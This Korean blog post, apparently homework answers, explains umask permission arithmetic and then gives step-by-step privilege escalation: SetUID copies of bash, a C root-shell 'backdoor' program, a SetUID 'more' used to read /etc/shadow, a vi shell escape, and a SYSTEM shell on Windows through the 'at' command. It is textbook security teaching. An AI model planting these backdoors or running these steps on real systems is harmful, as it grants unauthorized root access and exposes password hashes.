티스토리 뷰

카테고리 없음

유동현

달콤맛마이쮸 2016. 9. 11. 13:33

1) umask 값에 의한 파일과 디렉토리 권한

   설정 과정을 충분히 설명하세요.

     umask란 파일이나 디렉토리가 생성될 때의 

     기본권한을 지정하는 값.

     umask 명령어라는 명령어도 현재 설정되어 있는

     umask값의 확인 및 변경이 가능하다.

       #umask명령어에 의하여 변경된 umask값은 

    새로 로그인을 하면 초기화된다.

    #umask 값에 의해 결정

    umask 값은 /etc/profile에서설정

    #개별 계정에 대해 설정시에는 /home 디렉터리 밑의

    계정별로 .profile 파일에, bash 셸을 사용할 

    경우에.bashrc, C 셸을 사용할 경우에는 

    .cshrc 파일에 설정

    #페도라 14의 모든 계정은 /etc/bashrc 파일에

   설정되어 있는 umask 값을 따름

      #umask 값이 022설정됨

 

   umask를 이용한 파일과 디렉토리의 권한구하기

   umask값이란 모든 계정사용자들에게 존재하는 값으로서

   각 계정사용자들이 생성하는 파일 또는 디렉토리의 

   퍼미션을 결정하기 위한 MASK값이다.umask값에 의하여    생성된 파일과 디렉토리의 권한은 다음과 같다.

   

 umask값

000 

001 

002 

022 

생성되는 파일 권한 

666 

666 

664 

644 

생성되는 디렉토리 권한 

777 

776 

775 

755 


      #파일은 기본 생성 최고 권한이 666이며
        디렉터리의 생성 
      #최고권한은 777
        파일 및 디렉터리 생성 시 기본 권한은 최고 권한에서
        umask 값을 빼준 값

      #파일은 666-022644, 디렉터리는 777-022인 
        755가 기본 권한



>umask값 002에 대한 파일과 디렉토리의 권한값구하기

 110 110 110 = 666 : 파일비교기본값

 000 000 010 = 002 : umask

 110 110 100 = 664 : 파일 퍼미션

 

 111 111 111 = 777 : 디렉토리비교기본값

 000 000 010 = 002 : umask

 111 111 101 = 775 = 디렉토리 퍼미션

※ 입력된 값이 같으면 0, 입력된 값이 다르면 1을

   출력한다.

 


2) SetUID 비트를 이용하여 관리자 권한

   bash 쉘을 획득하는 과정을 설명하세요.

   

1. SetUID비트를 가진 셸의 생성

   원본의 bash 셀을 /test 디렉터리에 복사하여 4755 권한

   부여. bash 셸 프로그램은 프로세스가 살아 있는 동안은

   파일의 소유자인 root 권한으로 실행.


   cp /bin/bash /test/bash

   chmod 4755 bash


2. 일반 사용자 계정으로 SetUID비트가 주어진 셸  실행

  

   id

   ./bash

   id



3. SetUID비트를 이용한 bash 셸 획득

   

  backdoor.c

  #include <stdio.h>

  main(){

      setuid(0);

   setgid(0);

   system("/bin/bash");

  }


    # backdoor.c를 root 계정으로 컴파일 하여 4755

     권한 부여

   

     gcc -o backdoor backdoor.c

         chmod 4755 backdoor

    

4. SetUID 비트가 할당된 more명령을 이용한 권한상승

  

   # /etc/shadow는 관리자 소유의 파일

      일반 계정의 접근이 금지.

     #  SetUID 비트가 주어진 more 명령을 이용하면 
        /etc/shadow 파일을 읽기 가능

  chmod 4755 /bin/more


  id

      more /etc/shadow



    5. SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승

       

      # 작성한 vibackdoor.c를 컴파일, SetUID 비트 부여


   vibackdoor.c

   #include <stdio.h>

   main(){

   setuid(0);

   setgid(0);

   system("/bin/vi");

   }


   

   gcc -o vibackdoor vibackdoor.c

       chmod 4755 vibackdoor


          # ESC를 누른 뒤, 콜론(:)을 누르면 에디터의 아래쪽에

        키를 입력 가능

      

      # 같이 콜론 뒤에 ! 문자를 붙인 뒤 실행할 프로그램을

        적으면 실행


      # /bin/bash를 실행 


      # 명령을 실행 vi 에디터 화면이 사라지고 갑자기 셸 화면

        으로 전환


          # 셸의 프롬프트도 # 모양으로 전환


   # Exit를 입력 다시 vi 에디터로 전환


   # 일반 사용자 계정의 셸-> 관리자 권한의 vi에디터 ->

     관리자 권한의 셸의 과정을 거친것이다. 


   

3) at 명령을 이용하여 윈도우 운영체제에서 SYSTEM 권한을 획득하는 과정을 설명하세요.


1. at을 통한 프로그램 등록 

   - at 명령을 실행. 현재 시간보다 2~3분 후        

   시간으로 작업등록

   at 18:00 /interactive "cmd.exe"

2. System 권한 획득

   - 정해둔 시간이 되면 자동으로 다음과 같은      

   명령 창 실행

   - 명령 창 라벨 :                    C:\WINDOW\system32\svchost.exe

   - svchost : 윈도우에서 SYSTEM 계정으로

   실행되는 프로세스, at 명령으로 실행한

   명령창이 SYSTEM 권한을 가져온 것

 

3. SYSTEM 권한의 확장

   - 프로세스 죽이기 : Window 작업 관리자(Ctrl,Alt,Del)-    >[프로세스] 탭 explorer.exe

   - <프로세스 끝내기 > 버튼클릭

   - explorer.exe 를 죽이면 시스템 화면이

   사라짐, at명령으로 띄운 명령 창은 존재

   - 해당 명령 창에서 explorer.exe 를 다시

   실행 

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함